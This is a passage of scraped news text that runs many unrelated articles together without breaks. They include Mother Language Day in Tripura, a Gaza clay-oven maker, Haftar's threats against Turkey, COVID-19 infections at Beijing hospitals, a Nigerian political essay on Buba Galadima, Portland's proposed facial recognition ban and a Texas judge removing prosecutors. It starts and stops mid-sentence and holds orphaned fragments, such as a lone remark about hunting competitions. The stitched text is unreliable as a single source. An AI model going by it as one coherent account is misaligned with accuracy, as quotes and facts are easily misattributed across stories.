day to promote awareness of linguistic and cultural diversity and this year's theme was 'Languages without borders'." Tripura's Revenue Minister and veteran tribal leader Narendra Chandra Debbarma said the people of eastern India and Bangladesh played leading roles for introduction of the International Mother Language Day in 1999 by the UNESCO (United Nations Educational, Scientific and Cultural Organisation). The Bangladesh Assistant High Commission in Agartala organised various programmes to mark the day. Day-long celebrations took place at the mission complex. Bangladesh's Assistant High Commissioner Kiriti Chakma said besides cultural programmes, discussions were held to commemorate the historic Bangladesh Liberation War. Source: Xinhua| 2020-02-21 23:11:05|Editor: Mu Xuequan Video Player Close GAZA, Feb. 21 (Xinhua) -- Salah Qudaih, a 40-year-old man from the southern Gaza Strip, was skillfully mixing straw, clay, sand, and water to create a traditional clay oven. The father of five, who is based in the Abassan village in the east of Khan Younis city, told Xinhua that he makes the clay ovens to revive the forgotten heritage. "We live in the age of civilization and urbanization, but both of them prevent us from enjoying a simple and normal life," he said. The clay oven, a dome-shaped structure constructed out of clay and sand or clay and straw, is used for baking and roasting food. It has a brick floor and usually a chimney. The most traditional clay ovens are built outdoors and sometimes are covered with a simple roof structure. "Since I was a child, I have been making clay ovens. I learned it from my mother and grandmother, who were very professional," Qudaih said. "I felt so happy when I succeeded in making my first-ever clay oven," he said, adding that at that time he was only nine years old. The traditional clay oven represents a famous heritage for Palestinians, and families often build it inside their yards. Qudaih said as Palestinians, "we should keep our traditional identity from disappearance even if we live in the civilization and urbanization age." The man's passion for preserving the heritage also helps him earn money to raise the family. "The Israeli blockade, which has been imposed on the Gaza Strip, forces us to be unemployed," he said, adding that he invests his talent in making traditional ovens. Every day, Qudaih can make about five or six clay ovens, selling each of them at 20 to 30 U.S. dollars. Affordable prices of Qudaih's ovens contribute to the rising number of his customers, including residents in cities. "Rich people and urban dwellers also buy clay ovens from me, because they are beautiful and strong," he said. Qudaih expressed his happiness because he managed to revive the forgotten heritage among the people in the Gaza Strip. Village women usually gather to cook their food on clay ovens. "Cooking on a traditional clay oven is wonderful; it is different, and it definitely tastes different," Najwa Mohammed told Xinhua while she was cooking on a clay oven. The 43-year-old woman said cooking on the clay oven is one of their customs and traditions. "I am happy that our little village is able to revive our traditional heritage once again," she added. Qudaih said he hopes to establish his own factory to make more clay ovens and teach the coming generations how they can save their traditions. Libyas eastern military commander Khalifa Haftar has promised to fight Turkish forces if UN-led peace talks in Geneva break down. We cannot sit idly by, said Haftar, according to comments to a Russian news agency carried by Sputnik News. "The armed forces will fulfill their national and constitutional duty to protect citizens, the countrys sovereignty and borders from Turkish invaders, added Haftar. Haftar accused Libya's Prime Minister Fayez al-Sarraj of using the ceasefire to transfer Syrian mercenaries, Turkish soldiers, terrorists and weapons to Tripoli. Haftar also said he supported European Union plans to use a naval mission to enforce a UN arms embargo. Turkeys President Recep Tayyip Erdogan confirmed on Friday that Syrian fighters are operating in Libya alongside a Turkish training force, according to reports from the AFP news agency. There are also people from the Syrian National Army, said Erdogan, referring to fighters formerly known as the Free Syrian Army. Erdogan levelled fresh accusations at Russia, saying some 2,500 mercenaries had been sent to Libya by Moscow. He said some 15,000 terrorists were supporting Haftar. Turkey, as well as Qatar, backs the UN-backed Government of National Accord (GNA) in Tripoli, which opposes Haftar who is supported by Russia, Saudi Arabia and the UAE. 'More hope' in UN talks UN envoy Ghassan Salame on Thursday kicked off military negotiations between the GNA and Haftar loyalists. The GNA had shunned a second round of indirect talks following a rocket attack on a port in Tripoli. However, GNA representatives returned to negotiations following a short break, Salame told the AFP news agency. Salame optimistically described both sides in discussions as returning for fresh talks with even more energy towards finding a deal, referring to a military settlement as essential. Libya has been in conflict since the toppling of longtime leader Moamer Kadhafi in 2011, sparking fighting between armed factions vying for control of the oil-rich country. Haftar launched an offensive on Tripoli last April and made a number of quick advances, but his fighters stalled on the edge of the city. The first round of military discussions ended with no outcome earlier this month, although Salame has said there is more hope in these latest negotiations. Whopping rise in infection at Beijing hospital puts capital on alert Global Times By Liu Caiyu and Wan Lin Source:Global Times Published: 2020/2/20 20:13:40 A central Beijing hospital reported 36 novel coronavirus cases as of Thursday, a sharp increase from nine cases from two weeks earlier, leading many to fear a potential explosion of infection numbers in the capital. Among the infected at Fuxing Hospital in Xicheng district were eight medical workers, nine cleaning staff and 19 patients along with their families, the Beijing government's leading group for COVID-19 prevention and control work said at a press conference on Thursday. "Considering 36 confirmed cases were found in Fuxing Hospital, it is more about one case of multiple infections rather than an epidemic of the whole area," Wang Guangfa, director of the department of respiratory and critical care medicine at Peking University First Hospital, told the Global Times on Thursday. Another major hospital, Peking University People's Hospital, on Thursday for the first time reported confirmed cases of infection. Three patients at the hospital were confirmed to have the novel coronavirus on February 17 and were sent to designated medical institutions for treatment, authorities at the press conference said. A total of 164 people including medical staff at Peo-ple's Hospital who have had close contact with the patients have been put under close medical observation. The hospital also conducted coronavirus tests on 251 personnel and nine environments, and the results were all negative. The hospital has sterilized places that the patients may have touched, and hemodialysis rooms were sterilized when each shift was completed. The three patients are from one family. Tian, a patient in the geriatrics department, had been hospitalized for six months for a kidney illness and had to undergo hemodialysis regularly. After her daughter and son-in-law came back from Xinjiang, they visited Tian separately. The couple became infected on February 17. Among the 668 people who had close contact with infected patients in Fuxing Hospital, 582 have been removed from medical observation as of Thursday, and the building where the infections occurred has also had its blockade lifted. The infection cases at the two hospitals pushed the confirmed cases in the central Xicheng district to 53, ranking third among all districts. As of Wednesday night, Beijing had confirmed 395 cases of novel coronavirus infection, with four deaths. In total, 153 cases have been discharged from hospitals. A total of 2,091 people are listed as having had close contact with infected patients. According to a table which compares the "infection density" of cities or areas the number of confirmed cases per square kilometer Xicheng district ranks second, with an infection density just lower than the epicenter Wuhan. Xicheng district lies at the center of Beijing and had a permanent resident population of about 1.14 million by the end of 2019. Beijing has a permanent resident population of over 20 million. The municipal government's leading group said that all hospitals in Beijing should accelerate hospitalization of patients and try their best to diagnose suspected cases to treat the infected patients at the earliest time. The infections are scattered around 15 of Beijing's 16 districts, with Pinggu district so far unaffected. Though it may look serious, Wang believes the so-called infection density does not describe the whole picture about the epidemic in Xicheng district. More efforts should be made to further search for and isolate the close contacts so as to stop the epidemic from further expanding, Wang warned. "We should be vigilant against the clusters of infections happening in hospitals, as medical workers fighting at the frontline and patients are vulnerable to any additional disease." To hold back the virus, Beijing enacted a law recently that said all people coming to the capital must be quarantined for 14 days. Violators will be punished by law. Authorities fear an influx of migrant workers returning to Beijing could pose potential dangers of wider infection for the city. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Top photo: Victor Carrillo, Welding 2, tested out 1G Flat and 2G Horizontal; Jacob Probst, Welding 2, tested out 1G Flat; Bruce King, Advanced Welding, tested out 1G Flat; Kaleb Saccomano, Advanced Welding, tested out 1G Flat, 2G Horizontal, and 3G Vertical; Seddon Sanders, Advanced Welding, tested out 1G Flat; Trevor Scicluna, Advanced Welding, tested out 1G Flat; and Jesse Bills, Advanced Welding, tested out 1G Flat and 2G Horizontal. From Green River High School Green River High School Welding Program has been working hard at seeking basic welding certification for their Welding 2 and Advanced Welding students. This certification meets the in-house specifications for the guided bend weld test as set forth by the Sweetwater County School District No. 2 district assessments, which differs slightly from the American Welding Society version of the test. "These kids have worked very hard at completing this process," Green River High School Welding Instructor Tom Wilson said. "We are very proud of their effort and commitme... Addressing journalists after a meeting of the monarchs on Friday, Wahab Adedotun, orangun of Ila, said the suspension was not based on the incident at the peace meeting but due to Akanbis conduct to other traditional rulers in Yorubaland. 21.02.2020 LISTEN "Every man must decide whether he will walk in light of creative altruism or in the darkness of destructive selfishness." - Martin Luther King Jr. "The qualities of a great man are vision, integrity, courage, understanding, the power of articulation and profundity of character." - Dwight David Eisenhower The mansion was thrown into the end of a closed street, not perfectly tarred. Unless one was actually invited, one would never have imagined such a mansion being ensconced in the middle of such adoring bushes. The bushes surrounding the expansive mansion seemed militant in their posture, refusing to be intimidated by the cold winter. Lush in greenness, their defiance of the remnants of the whitish snow, making strenuous efforts to emasculate their allure was self - evident. This mansion was choked by spacious grasslands on all sides with the closest bushes being about fifty - five to sixty meters away. The quietude was deafening in its bawling. Yes, this is winter. But as I stepped down from the Acura SUV to walk towards the doors, I savoured the adulation of the fresh air that caressed my face. My leather jacket, shielding my upper body as an effective bodyguard against the adoring surging breeze ensured the briskness of my majestic pace towards the mansion. The defiant attitude of the bushes and the expansive environment of this lavish mansion could not have been a better metaphor for the owner and the guest snuggled within its confines. A gentleman, whom I later learnt to be an auditor at the Pentagon, opened the door for me. My host, Ogbeni Lanre Banjo, a former Treasurer to former Mayor Marion Barry of the District of Columbia, came in his heels to warmly welcome me. Though, we have always communicated on the phone anywhere in the world, we have not seen each other for a while. Ogbeni Banjo, known personally to all the power brokers in Nigeria, from Olusegun Obasanjo to Goodluck Jonathan and Mohammadu Buhari and many others, is a congenital believer in and follower of Chief Gani Fawehinmi. He had contested the governorship position of Ogun State and had escaped organised attack several times. Without much ado, he ushered me into the presence of Alhaji Buba Galadima, who was very glad to welcome me. There were some guests he was attending to, but he managed to still engage me for few minutes that our introduction had to take. How we missed each other in Abuja during the last Presidential Campaign of the former Vice President, His Excellency, Alhaji Atiku Abubakar was the kernel of our mutual curiosity, before we briefly excused each other to afford him the opportunity to finish with his guests. Alhaji Galadima is a well known figure in the firmament of the Nigerian politics. In the Second Republic, he was a silent but very big player. In this Republic, he has been a previously powerful player but still innocuous and demurring until he was pissed off by his bosom and close friend, the incumbent President Mohammadu Buhari. He was instrumental to bringing Buhari into politics at the beginning of this Nigeria's Fourth Republic. He has been pissed off and he is still pissed off. He is of the view that Buhari has no scintilla of honour. He seemed to be in pain that Buhari was preparing the demise of the Fulani elites, if Nigeria should survive. "Other Nigerians would come for our heads, when Buhari leaves because they think we know about what he is doing when that is not the case,"he explained. "No matter what, and no matter how long, Buhari would not be there for ever. It is not possible for him to be in Aso Rock for ever. And when he lives, other Nigerians would come after us. They don't even have to wait for him to be out of Aso Rock before they do so. The rest of us who are Fulani are now seen as accomplices of his evil deeds. We are seen as collaborators. But we are not." "This is why we must all speak up. This is why we must act now. We must let the rest of Nigerians know, as well as let the rest of the world be aware, that we are not supportive of his actions. We are not in support of his taking the ancestral lands of other Nigerians. We are not supportive of the murders of fellow Nigerians. We are not supportive of the herdsmen's actions and impunity. We are not supportive of farms destructions, because it could only lead to famine and hunger." "Thirty-four of us started with Buhari and formed the kernel of his foray into politics. Everybody already left. I was the last person to leave because I was hoping for a miracle. But Buhari is irredeemable. It is hopeless to expect anything good from him. Nigeria is in serious trouble. I know what I am talking about. I must admit my culpability in this. I apologise to Nigerians. It has turned out not to be what we thought." "Many thought I hate Buhari. I can't say I hate him, because he is my friend, but I am passionately against what he is doing to Nigeria. He is destroying the country. He is not planting landmines, he is planting bombs all over. Any man or woman of good will should stand up now so that we could check this slide. There is not much time left. We are about to fall off the precipice as a country. If you know what I know, you would be scared as I am right now." Earlier, Engr. Galadima had appealed to me to reconsider my position on Nigeria and Oodua Republic. He tried to convince me that if everyone takes the bull by the horn with candour, Nigeria could be brought back on track. He referred me to the observations of the former Vice President, Alhaji Atiku which I had earlier on alluded to that if the country was well governed inclusively, no one would be talking of secession. He insisted that this should be our objective. I had told him that it seems to be too late right now. I expressed serious doubts if Nigeria could ever be brought back on track and that there have been too many irreversible damages. That Nigeria had become an evil behemoth. People are tired of endless promises that are never realised. They want something different. They believe that there has been culturally influenced philosophical irreconcilable differences. People feel like slaves in their own country. Their dreams and aspirations have consistently been frustrated. They want out. At the Zion Kitchen in Washington DC, where Engr. Galadima met with a group of Nigerians, he encountered citizens who were very disillusioned, disenchanted, disentranced and disenthralled, at least the overwhelming majority. One after the other, they expressed hopelessness. Some, without saying so explicitly want an end to and of Nigeria. They want a different country. But there were others who still had hope. They also urged it. They tried to discourage despair. At a point, a gentleman asked those urging hope and faith in Nigeria, "Where do you guys find hope in Nigeria?" It was a rhethorical question, that elicited several sighs. But the stormy petrel, Engr. Galadima had picked the gauntlet, asking us all to remember the coming generation and not to give up on Nigeria. He was ebullient in his faith, insisting that Nigeria could still work. When we got home, Engr. Galadima was very concerned about the observed mood of those present at the engagement. He noted that Buhari was doing serious damages to the psyche of Nigerians and that it was time he be stopped and things be reversed. He agreed that people seemed afraid of being in Nigeria than to be out of it. He agreed that there is a lot of work to be done to get the country back on track. A number of options were discussed, what had to be done and what were being done. He also revealed who and who are talking and those who are seriously complaining in the background. He noted that some eminent Nigerians are just waiting for a number of things to happen. He expressed the hope that it would not be too late for whatever they were trying to do. He agreed that it does no good to put all these on the public plate right now. Engr. Buba Galadima, noted that he was not "electable or appointable." "I won't steal for anybody or myself," he had insisted. "I must tell you, those of us who have strong opinions and operate on principle are not looked upon with any favourability," adding, "but that is the least of my concerns. In a well governed polity, you won't need any favour to survive as long as you have some skills." Ebullient and exuberant. Effusive and effervescent. Bouncy and buoyant. Zippy and zestful. He is very clear about his mission and vision. He is very determined. He is very consistent on his expectations. His focus is laser guided. He wants the best for the country. Hypocrisy nauseates him and that is one of his grudges with President Buhari. He is disgusted by nepotism. He is irritated by incompetence. He is scared of the possible consequences of Buhari's acts of commission and omission for the Fulani as a people and the rest of Nigeria. He was fun to be engaged. "In the long history of the world, only a few generations have been granted the role of defending freedom in its hour of maximum danger. I do not shrink from this responsibility I welcome it. - John F. Kennedy, in his Inaugural Address January 20, 1961 Remi Oyeyemi Several movies screened at the Fajr Film Festival that marked the anniversary of the 1979 Islamic revolution in Iran are found to have been funded by the Islamic Republic's notorious Intelligence Organizations, Radio Fardas investigation has found. In one of the latest cases of Iranian intelligence organization's increasing activities in the area of film production, the Intelligence Ministry has produced the movie "Zero Day" in Germany. The crew that made the film partly in Berlin in January 2020 tried hard to keep their presence and activities in Germany secret. However, as some of the film crew sought political asylum in Germany, the secret spilled out into the public domain. While the film was being screened at the festival in February, its director and executive producer Saeed Malekan said at a press conference that idea and plot for the film came from someone named Esfahani. He said it was based on the true story of how Iranian intelligence officers arrested an insurgent named Abdulmalek Rigi, a Baluch insurgent leader, by forcing the foreign airliner that was carrying him to a destination in Central Asia to land in Iran. Three independent sources have told Radio Farda that the Intelligence Ministry provided information, documentations and funds to the film's producer. Meanwhile, Malekan confirmed that Esfahani, a former high-ranking intelligence officer, was with the film crew while the film was being shot, although he did not accompany the crew in the trip to Berlin. Esfahani, whose real name is Morteza Ghobbeh, is still actively involved in filmmaking for Iran's intelligence organizations. He has also been involved in the production of a TV series directed by Feraydoun Jayrani as well as several movies including The Fox (directed by Behrouz Afkhami), Mina's Choice (Kamal Tabrizi), Bodyguard (Ebrahim Hatamikia), Potassium Cyanide (Behrouz Shoaibi) Midday Adventures 1 and 2 (Mohammad Hossein Mahdavian) and When the Moon Was Full (Nargess Abyar). All of these movies propagate the Islamic Republic's official narrative about certain events such as espionage and the way the Islamic Republic treated the opposition group Mojahedin-e Khalq (MeK). A search in the database of Iranian film industry revealed Esfahani was the screenwriter of over 30 mainly political movies during the past years. His name also appears in the credits of movies made by renowned filmmaker Massoud Kimiaei. Despite his active involvement in the film industry Esfahani rarely speaks to the media. He guessed that the competitions were being held in areas where those animals were overpopulated and said most hunters care deeply about conservation and being as humane as possible while maintaining the guidelines set forth by people who study our animal populations and design programs to keep them healthy. Facial recognition as a deterrent Reducing harm Regulate or ban? (TNS) It took a few moments before Eduardo Carrillo could step into a Jacksons Food Store in Northeast Portland on a recent weeknight.He stood in front of the locked gas station convenience store door, placed his feet on designated spots on a doormat and looked up into a camera. The door then unlocked.Other customers experience wasnt as smooth. One man yanked on the door repeatedly while looking at the handle in apparent confusion -- until an automated womans voice rang out from an overhead speaker.Please look at camera for entry.Jacksons use of facial recognition technology could soon be outlawed in Portland. City officials are considering the strictest ban of the technology in the country, prohibiting its use not only by government agencies but also private businesses.Facial recognition technology typically uses a camera and software to analyze human faces to identify or verify a persons identity. The technology can compare a scan with an already existing database of images, such as jail booking photos or government identification records.There are no federal rules regulating facial recognition technology or whats done with data obtained through its use, which city officials say is forcing them to follow the lead of other cities and institute their own rules.The state of Oregon already bans police from using body cameras with facial recognition technology. Oakland and Berkeley are among those that have banned use of facial recognition by police departments and other local government agencies. Portland officials have proposed similar prohibitions for public agencies . The proposed ban on private businesses use of such technology is expected to prevent businesses from collecting, using or storing peoples facial or biometric information gathered in spaces open to the public, such as parks or grocery stores.Portland officials point to concerns over residents civil rights and privacy as reasons for the bans. They also cite studies that show the technology shows racial and gender bias.We felt a moral obligation to develop a broader approach, recognizing that any use of a surveillance technology that is biased against people of color, lacks consent, lacks due process and can be used on minors is unacceptable, said Hector Dominguez, an open data coordinator in the citys Bureau of Planning and Sustainability.The ban wouldnt apply to private use, such as the Face ID feature on iPhones.Some business advocates say city officials should consider a temporary ban on specific uses of facial recognition software, rather than a blanket ban on the technology itself. The technology does have positive uses and evolves so fast that negative impacts may quickly be reduced, said Technology Association of Oregon President Skip Newberry.Talking to some businesses that we work with as well as the broader business community, there are definitely some who would be opposed to the city restricting their ability to use that technology, he said. It can range from security of sites or critical infrastructure to people coming into a store and it being used to provide an experience tailored to that individual.Jacksons officials, for example, say they use the technology at three stores in Portland to help protect employees and customers from people whove threatened clerks or shoplifted.Carrillo said he frequents the Jacksons at Northeast Sixth Avenue and Broadway Street a few times a week on his way home from work, so the recently installed facial recognition camera is no longer a surprise to him. The Vancouver resident said the technology fascinates him because it reminds him of gadgets he has seen in movies.He wonders, though, what happens after he walks into the store.I dont know where the pictures of my face go, Carrillo said.Portland officials said they dont know of any businesses in the city beside Jacksons that use facial recognition technology.Jacksons has more than 250 stores in Arizona, Idaho, Nevada, Oregon, Utah and Washington. Oregon is home to 56 locations and 16 of them in Portland. But the company only uses facial recognition at three Portland locations: 621 S.E. Grand Ave., 15 N.E. Broadway and 519 N.E. Broadway, said spokesman Russ Stoddard. The Grand Avenue location went first, in November 2018 and the other two in October.At each location, a camera and speaker are perched above the doors. A sign tells people to look at the camera to get inside and that facial recognition is in use. The camera captures their image and unlocks the door.Each photo is matched against images of past customers, Stoddard said, and if one matches a picture of someone Jacksons has flagged at that location, the door stays locked.Weve found that it precludes certain types of behavior, because they see the camera and sign on the front door and know this is not a place to cause a ruckus, Stoddard said.Two other stores in Tacoma also have the technology. The stores are all open 24 hours. The facial recognition cameras operate from around 8 p.m. to 6 a.m.The company chose the five stores based on repeated reports from employees about threats, theft or drug use, Stoddard said. He estimated that each location gets 100 to 200 customers a night.The images are sent to a private server at the companys headquarters in Meridian, Idaho, he said. They are stored for 48 hours and automatically deleted unless flagged by an employee, Stoddard said. Company officials review security footage from the store to confirm a flagged image should be kept.Flagged images are kept in the companys system forever, Stoddard said.In the 15 months that the device has been used, just two images have been stored, one from Portland and another from Tacoma, Stoddard said. He declined to say what led to the images being held or to disclose any other details about the people involved.Stoddard said he didnt know of any cases in which the technology misidentified anyone.We understand this is a very complicated and controversial societal issue, but our focus has always been to increase the safety of employees and customers in locations where there has been misbehavior in the past, Stoddard said. Were aware the City Council is looking at this issue and ultimately, we would comply with whatever the city chooses to do.Jacksons doesnt sell the images or give them to third parties, according to Stoddard. However, he said the company would consider providing images to police in connection with serious crime investigations, if they were to ask.Jacksons facial recognition product, called First Line , comes from Missouri-based software company Blue Line Technology. The company touts the product as developed by law enforcement veterans and markets it for places including schools, banks, high-end condos, government buildings and hospitals.Blue Line Technology did not respond to requests for comment.The camera captures 30 digital frames per second and images can be added to the database in less than 30 seconds, according to the companys website. People who are scanned are classified as known, unknown and alert via the cameras real-time video feed.You can add custom notes such as known shoplifter and instructions for responders such as call police, or greet, so he knows youre watching, the website saysDelta Airlines uses facial recognition technology at Portland International Airport to screen passengers boarding non-stop international flights, a spokesperson told The Oregonian/OregonLive.The company scans faces to match them with pictures from photo IDs and passports. Customers can opt out and have their boarding documents checked by a gate agent instead, the spokesperson said.Portlands proposed ban on facial recognition technology is part of a bigger effort to shape technology policy in a way that reduces harm to marginalized communities, Dominguez said.The city council has held two work sessions since September about facial recognition technology. Officials will hold two community meetings later in February and in March to generate feedback. Dominguez said the goal is for his bureau and the Office of Equity and Human Rights to propose drafts of both the public and private bans for the public to see in March, then final versions for the council to vote on around April.We are using the word ban, but we consider it more as us putting the brakes on this technology in the city for now so we can create a space for developing a capacity for better understanding all this emerging technology. he said. We see this as a process and as the technology evolves, we need to evolve as well.During a January city council discussion, Portland Police Assistant Chief Ryan Lee said the bureau doesnt use facial recognition now but may want to in the future.Lee said potential uses of facial recognition include reducing the risk of misidentifying people accused of crimes and decreasing the time it takes to comb through suspect photos in databases. The technology could be a public safety asset if properly managed, he said.The technology is advancing in this field, and an outright ban could be detrimental to a point when the technology evolves that we should be looking to adopt, Lee said.The Washington County Sheriffs Office since 2017 has used a facial recognition tool from Amazon that allows deputies to check photos of unidentified people against a database of county jail booking photos taken as far back as 2001. Images taken from a security surveillance camera, social media account or a deputys cellphone are among ones that can be run through the Rekognition software to identify people.Commissioner Jo Ann Hardesty, who has led Portlands effort to ban the technology, said the issue comes down to racial justice and the communitys right to privacy. Several studies have shown facial recognition technology has various degrees of accuracy and can have higher rates of error when analyzing women or people of color.Hardesty said she began seriously considering including private businesses in the ban after learning last fall that police agencies in Washington County were encouraging residents who own Ring doorbell cameras to share video footage to help solve crimes by using an app that allows law enforcement access to the clips.She said she was concerned that the data was controlled by a third-party company, in that case Amazon, and the public had no way of knowing who had access to their data, if it was being sold or if the devices were capturing people who didnt consent, including children.My problem is that you should not have your image stored if you are not involved in criminal behavior, Hardesty said. If youre just gathering images up because people are walking by a door, to me, that is just not acceptable.Commissioners Amanda Fritz and Chloe Eudaly also said they support the bans. Eudaly said she would not back its use by any city bureau, including Portland police.Mayor Ted Wheeler, who oversees the Bureau of Planning and Sustainability, is also in favor of the ban. He said he doesnt think facial recognition technology should be used on a wide scale and that it hasnt developed enough to serve the publics best interests.He said the council might consider having a community group vet organizations that want to use the technology. Businesses would have to prove that the technologys current equity, privacy and data management issues are satisfactorily addressed.Wheeler said the use by Jacksons could possibly lead to discriminatory practices and is an example of what the city is trying to prevent. He sees a silver lining in the business claiming their employees feel safer and that thefts have decreased, but he believes it needs to be better perfected.Were not there yet, Wheeler said. None of this is possible with the technology we currently have and so we have to look to protecting the rights of our citizens above all else, especially those whove been historically underserved.Newberry, the Technology Association of Oregon president, and Jon Isaacs, vice president of government affairs for the Portland Business Alliance, said many of the companies they represent agree that the community has legitimate concerns about facial recognition that need to be addressed. But they said banning all private sector use may not be the most effective answer. They both said the city should focus more on regulating how the data that is collected is used.Facial recognition technology is only one technology among many that can be used to collect personally identifiable information, Newberry said. Youre not going to solve the bigger issue of bias and people essentially putting together a profile of someone based on data thats being collected about them just by banning facial recognition technology.Isaacs said Portland has a growing tech industry. If you want to be seen as a pro-technology city, banning technology is not an action you want to take, he said.Darren Harold-Golden, policy specialist with the Urban League of Portland, said a public and private ban on the technology would allow the community to learn more about how facial recognition is used without the threat of being inadvertently harmed by it in the interim.A ban doesnt mean forever, you can always revisit it, Harold-Golden said. But there are still significant concerns over how explicit consent is obtained and what do you do to appeal or get off a private database if youre mistakenly blacklisted.Jonathan Fink, a Portland State University geology professor and head of the schools Digital City Testbed Center, said facial recognition technology forces people to weigh trading privacy for convenience and public safety.The big question is always going to be, Do I want to give up my rights to my personal information and trust other parties who Ill never actually meet to have it? Fink said. Once you put a big system in place, its hard to take it down.Fink said he believes the city should institute a temporary ban this year and be open to reconsidering the technology and its innovations in 2021. He said Portland over the years has been both a policy leader and a stubborn holdout, and he hopes the city finds a middle ground in this case.If we stake out a position as Portland is going to be very restrictive so it can examine the questions and ethical issues around this for the benefit of the rest of the country, I think thats a real service, Fink said. But on the other hand, the city could be anti-scientific and anti-objective, like still being the only major city that doesnt fluoridate its water, and I think thats really bad.Some employees at Jacksons stores in Northeast Portland said they have seen improvements since the facial recognition technology was installed. The camera and sign appear to act as a deterrent at times.But, they say, the technology isnt foolproof. Some customers may not have their faces captured on camera when multiple people enter the store at the same time. Also, if a person steals and doesnt come back, keeping their picture on file doesnt do anything.We deal with people from all walks of life here, but no camera is going to address homelessness, mental health or drug use, said one employee who asked not to be identified because they werent authorized by the company to discuss the technology.Ervin Hester, a Portland resident who said he worked at one of the Jacksons stores until October, said he was concerned by the companys lack of transparency. He noted there isnt a process for customers to know how long their photos are held or determine if theyve been wrongly identified.Its on the employees to explain what the technology is and that could put them at risk, he said.I think these stores need it, but tell the public about why its here, where it is and be transparent about the whole process, Hester said. You dont know how some people are going to react when they find out after the fact that the camera they thought was only recording video is actually out here scanning and downloading their face. An angry state district judge ejected a prosecutor from her courtroom, citing a conflict of interest which may be that the prosecutors husband contributed to the judges political opponent last year. It was the second time state District Judge Arcelia Trevino, who oversees juvenile cases, has had a prosecutor with a tenuous link to her Democratic primary opponent, Assistant District Attorney Jacqueline Valdes, removed from her courtroom. Trevino has refused to explain why she had the prosecutors removed and wouldnt meet with District Attorney Joe Gonzales to discuss the situation Thursday. I wanted to try and work this out. It doesnt do any good to create this sort of tension between the DAs office and the bench, Gonzales said. The only sense I can make out of this is that it is political. The judge hasnt returned numerous calls seeking comment. Just before the days detention hearings were to begin Wednesday the accused juvenile offenders, their parents, attorneys, probation officers and social workers packing the courtroom were ready to go Trevino called Assistant District Attorney Khristina Fielder to the bench. You have to leave my court, the judge told her. Surprised, Fielder asked why. At first, Trevino said Fielder should have received a text and /or email telling her not to show up. Fielder said she hadnt received any communication, adding: Ive been instructed by my supervisor to be in court to do these hearings. The judge cut her off and told Fielder she had a conflict of interest. I dont know any of these kids, I dont represent them, we are not related, Fielder responded, adding that she didnt know their parents, either. The judge countered, You and your partner do. Kin Man Hui /Staff photographer Fielder, a 17-year veteran of the DAs office, said she didnt have a partner. She then asked whether the judge was referring to her husband, Joseph Fielder, a corporate lawyer for H-E-B, and started to ask again what the judge meant by a conflict. Instead of answering, the judge called over a bailiff and ordered him to remove Fielder from the courtroom. The nonplussed prosecutor was escorted out, and the judge immediately called a 5-minute recess. When she returned, she presided over detention hearings for about 20 minutes with another prosecutor representing the state, then called another recess. This time, Trevino didnt return. Associate Judge Frank Sandoval took over and heard the rest of the scheduled detention hearings. Gonzales said late Thursday that he was not aware of any conflict of interest Fielder had regarding the juvenile cases she was assigned to handle in Trevinos court, so he asked for a meeting with the judge to talk about what happened, and she refused. Kin Man Hui /Staff photographer The district attorney said hes troubled by Trevinos actions. She asked another member of my staff to leave the courtroom and was not allowed to observe a trial, Gonzales said, referring to a juvenile case that happened about two weeks ago. That particular prosecutor may have attended a private fundraising event for Trevinos opponent, Gonzales said, but as long as his staff members arent on duty, they are regular people and can support anyone they want to. He didnt name the first prosecutor who was removed by the judge, but he speculated the show of support for Valdes may have been the reason that prosecutor was ejected. In Fielders case, campaign finance records show her husband contributed $1,000 to Valdes campaign in September. There are no records that Assistant DA Fielder ever contributed to the campaign. The campaign contribution does not appear to violate any court rules or protocols, Gonzales said. In any case, it wasnt Assistant DA Fielder who made the contribution. Gonzales said that as soon as Valdes told him she intended to run for the bench, he reassigned her to another position away from courtrooms to avoid any possibility of a conflict. He said that when he took office, he told his staff he had no problem with anyone running for election so long as they didnt campaign while on duty. Its their right, Gonzales said. Trevino, a Democrat, defeated Judge Laura Parker, the Republican incumbent, in 2016. Valdes is Trevinos only opponent for the Democratic nomination to the 386th District Court bench. State District Judge Ron Rangel, who is administrative judge for the district courts, declined to comment specifically on the situation in Trevinos court. But he said it is unusual for judges to have prosecutors removed from their courtrooms. Judges cant kick anyone out of their courtrooms, unless they are being disruptive to the proceedings and administration of justice, he said. He explained the district attorney has the authority to assign prosecutors to each individual court. Prosecutors can recuse themselves from a case, and defendants can complain about a prosecutors potential for a conflict of interest and request they be removed from the case. It is up to the judge to make the determination, in general, Rangel said. The drama in the 386th Juvenile District Court is the second time in a week that public controversy has rocked Bexar County courts. Last week, Bexar County Clerk Lucy Adame-Clark removed two of her deputy clerks and all of the court files from County Court-at-Law Judge Grace Uzombas courtroom amid allegations the judge had mistreated the clerks and was forcing them to work nights, weekends and holidays. By Thursday, however, it appeared the feud had been at least temporarily resolved. County Court-at-Law Judge John Longoria, who is administrative judge for the county courts-at-law, confirmed the clerks and files were returned to Uzombas court after the two officials met Tuesday with other judges and officials to hash out the relationship between the deputy clerks and the judge in regard to handling of the court files. Deputy clerks are Adame-Clarks employees, but they take direction from the judge to whom they are assigned. Each judge hires and directs his or her court coordinator and court reporter. I think it worked out well, Longoria said. ezavala@express-news.net The House of Representatives joint committees on the Air Force and Justice on Thursday began an investigative hearing to probe the Nigerian Air Force over a controversial 10 billion building project owned by Blue Boulevard Limited. The company had petitioned the House accusing the military of breach of an agreement they had over a land NAF leased to the company. Following the short brief on the hearing, the chairman of the committee on air force, Shehu Mohammed (APC, Kebbi), said the hearing would resume after both parties might have tendered necessary documents to back their cases. Mr Mohammed said to ensure fair hearing, the company should serve copies of its petition and the necessary documents with the committee while sharing an acknowledgement copy with the air force. He added that copies of their petition should also be sent to the Chief of Air Staff, NAF Holdings, NAF Properties on or before February 27 with acknowledgement copies sent to the committees secretariat. Meanwhile in an interview with journalists on the sidelines, Peter-Kings Osunde, General Manager of Blue Boulevard Limited, claimed his company had built a mall and a market for the Air Force in the latters Port Harcourt base. He said the company funded the project and was to run it for 20 years before handing it back to the Nigerian Air Force. He accused them of messing up the project before the expiration of the set duration, at a time over 10 billion had been spent. With the agreement breached, rather than make amends, Mr Osunde claimed the NAF operatives instead invaded the shopping mall, an action that made the company to file a suit against the security outfit. We went to the Federal High Court and it passed the injunctions on them and the matters came out in the papers. It is those injustices that has caused over 1000 jobs and monetary loss. All those are the matters the House of Representatives committee is looking at and trying to straighten them out. Spokesperson of the Nigerian Air Force, Ibikunle Daramola, declined to comment when reached on Friday. Then-Colfax County sheriffs deputy Vidal Sandoval shook down drug traffickers he stopped on the highway by asking them, You wanna go to jail? Or you wanna make 